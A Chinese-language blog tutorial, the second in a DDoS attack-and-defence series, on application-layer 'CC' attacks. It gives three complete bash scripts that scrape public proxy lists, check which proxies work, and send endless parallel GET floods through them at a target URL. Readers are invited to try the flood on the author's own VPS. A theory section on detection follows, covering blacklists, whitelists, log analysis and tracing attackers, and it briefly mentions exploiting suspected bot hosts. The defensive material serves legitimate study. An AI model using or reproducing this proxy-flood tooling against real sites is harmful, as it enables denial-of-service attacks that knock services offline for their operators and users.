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DDoS攻防战 （二） ：CC攻击工具实现与防御理论
故上兵伐谋 其次伐交 其次伐兵 其下攻城 攻城之法 为不得已
知己知彼 百战不殆 不知彼而知己 一胜一负 不知彼不知己 每战必败
——孙子兵法·谋攻
我们将要实现一个进行应用层DDoS攻击的工具，综合考虑，CC攻击方式是最佳选择，并用bash shell脚本来快速实现并验证这一工具，并在最后，讨论如何防御来自应用层的DDoS攻击。
第一步：获取大量可用代理ip:port列表
网上所处可见免费代理，我们使用http的GET方法抓取html文档，接着使用正则过滤出我们需要的ip port对，然后逐一验证各代理的可用性，最终得到可用的代理ip port对。
1 grab_proxy.sh
1 #!/bin/bash 2 3 #get proxy list 4 declare proxyListFile="proxy.txt" 5 declare tmpFile=`mktemp` 6 declare url 7 declare line 8 declare times 9 declare ip 10 declare port 11 declare i 12 declare j 13 declare mod 14 15 function quit() { 16 rm -f $tmpFile 17 exit "$1" 18 } 19 20 echo "get proxy list... please wait..." 21 22 if [ -r "$proxyListFile" ] 23 then 24 rm -f $proxyListFile 25 fi 26 27 touch $proxyListFile 28 29 for url in " http://www.youdaili.cn/Daili/guonei/2215.html " 30 " http://www.youdaili.cn/Daili/guonei/2215_2.html" 31 " http://www.youdaili.cn/Daili/guonei/2215_3.html" 32 " http://www.youdaili.cn/Daili/guonei/2215_4.html " 33 do 34 if GET "$url" > $tmpFile 35 then 36 grep -oE ‘^.*<br />.*$‘ "$tmpFile" | grep -Eo "([0-9]+)(\.[0-9]+){3}:([0-9]+)" 37 | sort -n | uniq | awk -F: ‘{ printf("%-15s %s \n",$1,$2); }‘ >> $proxyListFile 38 else 39 exec 1>&2 40 echo "error: get proxy list fail! chech the url:$url or the network" 41 quit 1 42 fi 43 done 44 45 echo "done. total `cat $proxyListFile | wc -l` proxy" 46 47 quit 0 48 #exit
参数：
declare proxyListFile="proxy.txt" #抓取到的代理ip port对所存放的文件路径
1 check_proxy.sh
1 #!/bin/bash 2 3 #get proxy list 4 declare check_threads=10 5 declare line 6 declare times 7 declare ip 8 declare port 9 declare i 10 declare j 11 declare mod 12 13 function quit() { 14 exit "$1" 15 } 16 17 #echo "start check proxy‘s functionality..." 18 19 #retarget the input file to stdin 20 if [ "$#" -gt "0" ] 21 then 22 exec 0<$1 23 else 24 exec 1>&2 25 echo "usage: bash $0 proxyListFile.txt" 26 echo "error: must have one input arg" 27 quit 1 28 fi 29 30 #check proxy‘s functionality 31 times=0 32 while read line 33 do 34 times=$((times+1)) 35 j=0 36 for i in `echo $line | tr ‘ ‘ ‘\n‘ | grep -E ‘^[^\s].*$‘` 37 do 38 j=$((j+1)) 39 if [ "$j" -eq 1 ] 40 then 41 ip=$i 42 else 43 port=$i 44 fi 45 done 46 #echo "times=$times ip=$ip port=$port" 47 # start test 48 if GET -t 5 -p "http://$ip:$port" "http://baidu.com" &>/dev/null 49 then 50 echo "$ip $port" 51 echo ":) ip=$ip port=$port " &>/dev/null 52 else 53 echo "invalid ip=$ip port=$port : please check ip:host or network" &>/proc/self/fd/2 54 fi & 55 mod=$((times%check_threads)) 56 if [ "$mod" -eq "0" ] 57 then 58 wait 59 fi 60 done 61 62 #close the fd of input file 63 exec 0>&- 64 quit 0 65 #exit
参数：
declare check_threads=10 #验证代理可用性时的并发数，看一下代码就会发现，我们使用的是GET http://baidu.com方法，所以，并发数请不要也太高 :) 除非你的目标就是......
总结：应征入伍的士兵共计600人，经过考核的共计449人，如果你还想招募更多的士兵，奉劝一句，苦海无边，回头是岸。
第二步：吹响战争号角
笔者在一台VPS上建立了一个薄弱的靶机，各位读者请不要太暴力，测试一下就可以了，地址 http://eecs.cc:8080/
笔者把这么重要的信息都放出来了，读者请点个赞吧 :)
1 cc.sh
1 #!/bin/bash 2 3 declare target_url="http://eecs.cc:8080/" 4 declare get_timeout_sec=5 5 declare line 6 declare times 7 declare ip 8 declare port 9 declare i 10 declare j 11 12 function quit() { 13 exit "$1" 14 } 15 16 #retarget the input file to stdin 17 if ! [ "$#" -gt "0" ] 18 then 19 exec 1>&2 20 echo "challenge collapsar attack -- cc attack" 21 echo "usage: bash $0 proxyListFile.txt" 22 echo "error: must have one input arg" 23 quit 1 24 fi 25 26 echo "report : total `cat $1 | wc -l` proxy-soldiers are ready for command" 27 echo "command: target: $target_url" 28 echo "command: start challenge collapsar attack :) amazing..." 29 30 exec 0<$1 31 #start challenge collapsar attack 32 33 while true 34 do 35 times=0 36 exec 0<&- 37 exec 0<$1 38 while read line 39 do 40 times=$((times+1)) 41 j=0 42 for i in `echo $line | tr ‘ ‘ ‘\n‘ | grep -E ‘^[^\s].*$‘` 43 do 44 j=$((j+1)) 45 if [ "$j" -eq 1 ] 46 then 47 ip=$i 48 else 49 port=$i 50 fi 51 done 52 echo "times=$times ip=$ip port=$port" 53 #single soldier attack 54 if GET -t "$get_timeout_sec" -p "http://$ip:$port" "$target_url" &>/dev/null 55 then 56 echo "soldier$times attack $target_url :)" 57 else 58 echo "soldier$times attack $target_url miss" 59 fi & 60 done 61 wait 62 done 63 64 #close the fd of input file 65 exec 0>&- 66 quit 0 67 #exit
读者可自行尝试攻击这个站点，然后使用浏览器访问查看服务器网络状况，此时大量连接处于TIME_WAIT状态，参考TCP状态机，这一状态为主动关闭一方的最终等待状态。
请不要恶意攻击别人的网站 如果因此被关了进去 没有人能把你弄出来
应用层DDoS的防御理论：
问题模型描述：
每一个页面，都有其资源消耗权重，静态资源，权重较低，动态资源，权重较高。对于用户访问，有如下：
用户资源使用频率=使用的服务器总资源量/s
命题一：对于正常访问的用户，资源使用频率必定位于一个合理的范围，当然会存在大量正常用户共享ip的情况，这就需要日常用户访问统计，以得到忠实用户ip白名单。
命题二：资源使用频率持续异常的，可断定为访问异常的用户。
防御体系状态机：
1.在系统各项资源非常宽裕时，向所有ip提供服务，每隔一段时间释放一部分临时黑名单中的ip成员；
2.在系统资源消耗达到某一阈值时，降低Syn包接受速率，循环：分析最近时间的日志，并将访问异常的ip加入临时黑名单；
3.若系统资源消耗慢慢回降至正常水平，则恢复Syn包接受速率，转到状态1；若目前策略并未有效地控制住系统资源消耗的增长，情况继续恶劣至一极限阈值，转到状态4；
4.最终防御方案，使用忠实用户ip白名单、异常访问ip黑名单策略，其他访问可慢慢放入，直到系统资源消耗回降至正常水平，转到状态1。
上述的防御状态机，对于单个攻击IP高并发的DDOS，变化到状态3时，效果就完全体现出来了，但如果防御状态机进行到4状态，则有如下两种可能：
1.站点遭到了攻击群庞大的、单个IP低并发的DDOS攻击；
2.站点突然间有了很多访问正常的新用户。
建议后续工作：
保守：站点应尽快进行服务能力升级。
积极：尽所能，追溯攻击者。
追溯攻击者：
CC：proxy-forward-from-ip
单个IP高并发的DDOS：找到访问异常的、高度可疑的ip列表，exploit，搜集、分析数据，因为一个傀儡主机可被二次攻占的概率很大（但不建议这种方法）
单个IP低并发的DDOS：以前极少访问被攻击站点，但是在攻击发生时，却频繁访问我们的站点，分析日志得到这一部分ip列表
追溯攻击者的过程中，snat与web proxy增加了追踪的难度，如果攻击者采用多个中继服务器的方法，追溯将变得极为困难。
防御者：
1.应对当前系统了如指掌，如系统最高负载、最高数据处理能力，以及系统防御体系的强项与弱点
2.历史日志的保存、分析
3.对当前系统进行严格安全审计
4.上报公安相关部分，努力追溯攻击者
5.网站，能静态，就一定不要动态，可采取定时从主数据库生成静态页面的方式，对需要访问主数据库的服务使用验证机制
6.防御者应能从全局的角度，迅速及时地发现系统正在处于什么程度的攻击、何种攻击，在平时，应该建立起攻击应急策略，规范化操作，免得在急中犯下低级错误
对历史日志的分析这时将会非常重要，数据可视化与统计学的方法将会很有益处：
1.分析每个页面的平均访问频率
2.对访问频率异常的页面进行详细分析 分析得到ip-页面访问频率
3.得到对访问异常页面的访问异常ip列表
4.对日志分析得到忠实用户IP白名单
5.一般一个页面会关联多个资源，一次对于这样的页面访问往往会同时增加多个资源的访问数，而攻击程序一般不会加载这些它不感兴趣的资源，所以，这也是一个非常好的分析突破点
本文主要讲述了DDoS攻击之一的CC攻击工具实现，以及如何防御来自应用层的DDoS攻击的理论总结。接下来的文章，笔者将会实现一个工作于内核态的、具有黑名单功能的防火墙模块，以对应于上述防御状态机中的防火墙单元，它实现了自主地动态内存管理，使用hash表管理ip列表，并可以自定义hash表的modular。
如有问题或者建议，欢迎留言讨论 :)
附录：
《DDoS攻防战 （一） ： 概述》